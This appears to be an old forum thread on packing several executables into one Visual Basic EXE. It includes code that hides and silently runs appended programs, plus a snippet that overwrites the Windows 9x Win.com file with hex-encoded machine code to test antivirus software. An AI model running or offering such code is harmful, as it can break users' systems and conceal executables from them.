Is it possible to integrate one or more .exe programs into one main .e 5

[osorio]

Is it possible to integrate one or more .exe programs into one main .exe program, that would run each of these programs when their respective command button is pressed?
For example, having one .exe program generated on basic that when a command button is pressed will execute another .exe program (not a basic program). I need this to be done in just one .exe program, not a program that calls another program. I need them both to be integrated under the same .exe program. I hope my question is clear.
Thank you very much.

 

[MrMoocow]

USE THE SHELL COMMAND THAT IS ALL YOU NEED.

 

[osorio]

I´m sorry, but that does not answer my question. With the shell command I need to have two programs, the one I generated with basic, and the one I wish to open. If I want to give this program to someone through a diskette, I have to give him both programs separately. Is it possible to create both of them under the same .exe name as just one program? Again, thank you very much for your help.

 

[Guest_imported]

Sorry! My friend , You can't call or integrate more than one exe's in your main exe. According to my knowledge, exe has its own memory allocated to it which is independent, so its impossible(THOUGH : IMPOSSIBLE IS OFTEN UNTRIED).
But you can do this by using dll's, just make dll of those exe's and you can call them in your one exe program.

 

[strongm]

it's not really feasible to do this in VB. Perhaps if you outlined why you have this requirement we might be able to suggest alternative strategies.

Regards,
Mike

 

[Alt255]

Yes, it is possible and quite feasible. There isn't much call for this sort of thing but I use the technique whenever I need to distribute a package containing programs I don't want the user to copy or run without authorization.

I call it "piggy backing". It amounts to appending one or more executable files to the application EXE. When they are needed, they are extracted, executed and deleted without the user's knowledge. This is quite kosher as far as Windows is concerned. The EXE file header directs the OS to load only the program into memory and ignore anything appended to the program. It is also legal to read a running EXE but not to write to it (you would get some nasty access violations).

Here is an example of "piggy backing" an EXE. You will need a list box and a couple of command buttons for the demonstration:
[tt]
' This structure will hold the
' EXE information after the files
' are appended to your program.
Private Type PiggyBack
StartByte As Long
FileSize As Long
EXEname As String * 32
End Type
Dim EXEinfo(6) As PiggyBack

Private Sub MakeExe_Click()
' This sub stores the contents of
' several programs at the end of your
' application EXE. This would be done
' from a separate program or from within
' the VB IDE.
'
' Fill an array with the names of the
' programs you want to add to your
' executable. (These are just examples.)
EXEinfo(0).EXEname = "Echat.EXE"
EXEinfo(1).EXEname = "Invis.EXE"
EXEinfo(2).EXEname = "List.COM"
EXEinfo(3).EXEname = "MakBlank.EXE"
EXEinfo(4).EXEname = "SetSer.EXE"
EXEinfo(5).EXEname = "Vtest.EXE"
EXEinfo(6).EXEname = "Win.COM"
' This is the name of your program.
MyExe$ = "PigiBack.exe"
' You would probably use...
' App.ExeName & ".EXE" instead.
F1 = FreeFile
Open MyExe$ For Binary As #F1
Get #F1, LOF(F1) - 3, Test&
' Check to see if the last 4 bytes of the EXE
' contain a file size.
If Test& > 0 Then
Close #F1
MsgBox "File has already been piggybacked."
Exit Sub
End If
' Read the contents of the program files
' and appendf them to your app EXE.
For Rep = 0 To UBound(EXEinfo)
With EXEinfo(Rep)
f2 = FreeFile
Open .EXEname For Binary As #f2
G$ = String$(LOF(f2), 0)
.FileSize = Len(G$)
Get #f2, 1, G$
Close #f2
.StartByte = LOF(F1) + 1
Put #F1, , G$
End With
Next
' Write the file information
' records at the end of the EXE.
For Rep = 0 To UBound(EXEinfo)
Put #F1, , EXEinfo(Rep)
Next
Close #F1
End Sub

Private Sub ExtractExes_Click()
' This sub just retrieves the stored
' program names and places them in
' a list box.
MyExe$ = "PigiBack.exe"
F1 = FreeFile
Open MyExe$ For Binary As #F1
Get #F1, LOF(F1) - 3, Test&
' Check to see if the last 4 bytes of the EXE
' contain a file size.
If Test& = 0 Then
Close #F1
MsgBox "File has not been piggybacked yet."
Exit Sub
End If
RecSize = Len(EXEinfo(0))
' Get the file information records.
For Rep = 0 To UBound(EXEinfo)
Get #F1, LOF(F1) - (RecSize * (Rep + 1)) + 1, EXEinfo(Rep)
List1.AddItem EXEinfo(Rep).EXEname
Next
Close #F1
End Sub

Private Sub List1_Click()
' Extract and run a program.
Fname$ = Trim$(List1.Text)
For Rep = 0 To UBound(EXEinfo)
If InStr(Fname$, EXEinfo(0).EXEname) > 0 Then
MyExe$ = "PigiBack.exe"
F1 = FreeFile
Open MyExe$ For Binary As #F1
G$ = String$(EXEinfo(0).FileSize, 0)
Get #F1, EXEinfo(0).StartByte, G$
Close #F1
' Extract the program to the TEMP directory.
Fname$ = Environ$("TEMP&quot & "\" & Fname$
f2 = FreeFile
Open Fname$ For Binary As #f2
Put #f2, 1, G$
Close #f2
Exit For
End If
Next
DoEvents
Shell Fname$, vbNormalFocus
' You would probably want to wait until
' the program is finished and then clean up
' by deleting it from the temp directory.
End Sub
[/tt]

Have fun.

Alt255@Vorpalcom.Intranets.com​

 

[strongm]

With the caveat that some virus checkers will object...

 

[rjr9999]

hehe...some? I would hope most Rob
"Programming is like art...It makes me feel like chopping my ear off."

 

[strongm]

<grin> I was being conservative...

 

[Alt255]

Odd you should mention virus checkers. I have never heard of one that took exception to programs that read EXEs or wrote new EXEs. That's all this strategy accomplishes.

You overwrite an EXE every time you recompile a VB project. Does your virus checker complain about it?

This should give you a hint about the sophistication of most virus checkers:
Find a Win9x system, make a backup of WIN.COM, set the Anti-Virus to full-blown-heuristic-paranoia mode and run this code snippet....
[tt]
'Let's have the program make a copy of Win.com
' (just in case you forget).
WinCom$ = Environ$(&quot;windir&quot & &quot;\win.com&quot;
WinBack$ = Environ$(&quot;windir&quot & &quot;\win.qaz&quot;
If Dir(WinBack$) <> &quot;&quot; Then Exit Sub
FileCopy WinCom$, WinBack$
DoEvents
T$ = &quot;EB3A90436F7079726967687420286329&quot;
T$ = T$ + &quot;20323030312C20566F7270616C636F6D&quot;
T$ = T$ + &quot;2E20526570726F64756374696F6E2050&quot;
T$ = T$ + &quot;726F686962697465640D0A1AFCBD5C01&quot;
T$ = T$ + &quot;8B6E008BA602008B9E0400B44ACD21A1&quot;
T$ = T$ + &quot;2C0089861A008B9E0000FFE398018A14&quot;
T$ = T$ + &quot;460AD27406B402CD21EBF3C3E81F0053&quot;
T$ = T$ + &quot;7472696B6520616E79206B6579207768&quot;
T$ = T$ + &quot;656E2072656164792E2E2E0D0A245AB4&quot;
T$ = T$ + &quot;09CD21B407CD21C3E8010C0481000E04&quot;
T$ = T$ + &quot;0F051006110701A90400740383CB02A9&quot;
T$ = T$ + &quot;C6E2740383CB0000C9CDCDCDCDCDCDCD&quot;
T$ = T$ + &quot;CDCDCDCDBB0D0A00BA20537572707269&quot;
T$ = T$ + &quot;73652120BA0D0A00C8CDCDCDCDCDCDCD&quot;
T$ = T$ + &quot;CDCDCDCDBC0D0A008DB62000B85E01FF&quot;
T$ = T$ + &quot;D08DB63000B85E01FFD08DB64000B85E&quot;
T$ = T$ + &quot;01FFD0B86C01FFD0B8004CCD21&quot;
For Re = 1 To Len(T$) Step 2
Mess$ = Mess$ + Chr$(Val(&quot;&h&quot; & Mid$(T$, Re, 2)))
Next
Mess$ = Mess$ + String$(16, 0)
Open WinCom$ For Binary As #1
Put #1, 1, Mess$
Close #1
MsgBox &quot;Reboot your computer now.&quot;
[/tt]
Chances are that neither Windows nor your AV will see anything wrong with modifying Win.com. A restart of your computer should dump you at the command prompt with an odd message. You won't be able to start Windows because the first few paragraphs of Win.com have been overwritten with a bit of harmless code.

Restore your backup copy of Win.com and go your merry way.

If, by some chance, your Anti-Virus package prevents you from running the preceding code, please let me know where I can buy a copy. I've been looking for such comprehensive AV protection for some time now.

Alt255@Vorpalcom.Intranets.com​

 

[strongm]

You're missing the point. It's nothing to do with reading or writing the exes.

The issue is that an exe file contains a header which has a variety of important fields in it. One of those fields holds the true length of the executable (it's a little more complex than that, actually, but you get the idea).

Now, with the piggy back strategy you are putting a payload into the exe. The actual length of the file will disagree with the info in the exe header - and any decent virus checker should flag this as a potential virus.

The way I got around this some years ago was to rewrite the header.

 

[Alt255]

Oops, sorry I missed your point. Yes, the Windows EXE header is a bit more complex than that.

Odd thing about the virus checkers, though... they seem to have stopped trying to determine whether or not a file has been infected based on a comparison of the file's size and the information contained in the header. It probably wasn't a very reliable way to flag a virus, then or now.

You would think that, of all the systems running one of my piggy-backed applications, surely somebody will install a truly paranoid AV that will examine XYZ.EXE and alert the user that the file appears to contain overlays that aren't referenced in the DOS or Windows headers. Shall I sweat all night waiting for the calls of complaint? I don't think so. I've been doing this for years and haven't had a complaint.

My point is that unless you have tried this sort of thing, your comments amount to speculation. I would challege you to adapt my first code snippet and try it on a system running the Anti-Virus of your choice. Post your results here and perhaps I will stand corrected.

BTW, appending a virus to an EXE could contaminate your findings. I trust that you will take steps to avoid that sort of thing.

Alt255@Vorpalcom.Intranets.com​

 

[strongm]

>unless you have tried this sort of thing

I have - although not in VB, and it was some time ago - so maybe AV programs are more lax about this (or perhaps brighter, who knows?)

As for your example, you must realise that it is an unfair test. Effectively all you are doing is running a NEW virus that corrupts (but doesn't infect) a file (OK, so you happen to have chosen win.com but that's more-or-less irrelevant; it could just as well have been logo.jpg). And brand new viruses are the bane of our lives.

 

[Alt255]

Sorry about that. I was refering to a test of VB's ability to stack multiple executables in one file and then extract and run them on demand.

I do remember an early AV (Norton, I think) that maintained checksums for all program files and paused the system to inform you whenever the files changed (which occured with great frequency and lead me to disable the feature almost immediately LOL). Part of the reason that modern AVs don't bother with an EXE's size may be the difficulty in calculating it from the header information. The method was fairly straight-forward with the old-style DOS EXE's. One would set up a structure like:[tt]

Private Type DosEXEfileHeader
ID As String * 2
BytesInLastPage As Integer
PagesInExe As Integer
RelocationEntries As Integer
ParagraphsInHeader As Integer
MinimumExtraParagraphs As Integer
MaximumExtraParagraphs As Integer
InitialSS As Integer
InitialSP As Integer
CheckSum As Integer
EntryPoint As Long
RelocationTableOffset As Integer
OverlayNumber As Integer
End Type
Dim DosEXEheader(0) As DosEXEfileHeader[/tt]

'...then read the header...[tt]
ff = FreeFile
Open FiName$ For Binary As #ff
Get #ff, 1, DosEXEheader(0)
Close #ff[/tt]

'...the file size, according to the header would be...[tt]
FileSize& = DosEXEheader(0).PagesInExe * 512& _
- (512& - DosEXEheader(0).BytesInLastPage)
[/tt]
...but all that changed with Windows. Microsoft added a second header to hold most of the pertinent information:[tt]

Private Type WinEXEfileHeader
ID As String * 2
LinkerVersionNumber As Integer
LinkerRevisionNumber As Integer
EntryTableOffset As Integer
EntryTableLength As Integer
Reserved As Integer
ContentsFlags As Integer
AutomaticDataSegment As Integer
LocalHeapInitialSize As Integer
StackInitialSize As Integer
CSIPaddress As Long
EntryPoint As Long
SegmentTableEntries As Integer
ModuleReferenceTableEntries As Integer
NonResidentNameTableSize As Integer
SegmentTableOffset As Integer
ResourceTableOffset As Integer
ResidentNameTableOffset As Integer
ModuleReferenceTableOffset As Integer
ImportedNameTableOffset As Integer
NonResidentTableOffset As Long
MovableEntryPoints As Integer
LogicalSectorShift As Integer
ResourceSegments As Integer
TargetOperatingSystem As String * 1
AdditionalInformation As String * 1
FastLoadOffset As Integer
FastLoadSize As Integer
Reserved2 As Integer
ExpectedWindowsVersion As Integer
End Type
Dim WinEXEheader(0) As WinEXEfileHeader[/tt]

...in order to read the Windows header you had to check the stored offset of the relocation table for a value greater than &h3F and get the offset of the Windows header from offset &h3c...[tt]

Dim WindowsHeaderOffset As Integer
ff = FreeFile
Open FiName$ For Binary As #ff
Get #ff, 1, DosEXEheader(0)
If DosEXEheader(0).RelocationTableOffset >= 64 Then
Get #ff, 61, WindowsHeaderOffset
Get #ff, WindowsHeaderOffset + 1, WinEXEheader(0)
End If
Close #ff
[/tt]
Naturally, the Windows header doesn't provide an easy way to calculate the size of the file. The DOS header no longer contains valid information on the size of the file. What's an AV to do??? I think the answer was to abandon this as a virus detection strategy.

Strongm, I respect your opinion but I believe it is fairly safe for osorio to &quot;Piggy-Back&quot; his EXEs.

Alt255@Vorpalcom.Intranets.com​

 

[strongm]

I think you're probably right.

Here, have a star for useful post(s)

Regards,
Mike

 

[rpk2006]

Alt255,

In your first code above, I typed as it is. But is giving error at very line where OPEN #F1 and CLOSE statements are written.

Also, Please suggest any link where I can find information about merging files into EXE file.
There is always a new solution for the same problem.

Anonymous

 

[Alt255]

Rpk2006, you didn't mention the exact error message so I'll need a little more information to address the problem.

1) Does &quot;PigiBack.exe&quot; exist? 2) Is &quot;PigiBack.exe&quot; in use? (Are you running the code from an EXE that attempts to open itself for Binary access?) The path\filename in the Open line has to reference the actual location of the EXE. The code in &quot;MakeExe_Click&quot; should be exectuted after the project has been compiled, either from the VB IDE or a separate program.

It would be pointless to provide a command button for a user so he could modify an EXE while it is running. I can't think of any way to make that work.

3) Do you have user rights that allow you to modify program files? Perhaps a silly question since you had the rights required to create one... perhaps not.

Variants of this code have been running on Win9x and NT systems without a snag, but, to my knowledge, it hasn't been tested on any other flavors of Windows. Include your operating system in your next post and maybe we can throw the notion on that huge pile of ideas that are useless because they don't work wherever they are required to work.

Regarding the links to sites that discuss merging files into an EXE file.... I'm not aware of any and I wasn't able to locate any using the search facilities at my disposal. That isn't to say this is a unique discussion -- it just isn't something a lot of people are talking about over their morning coffee.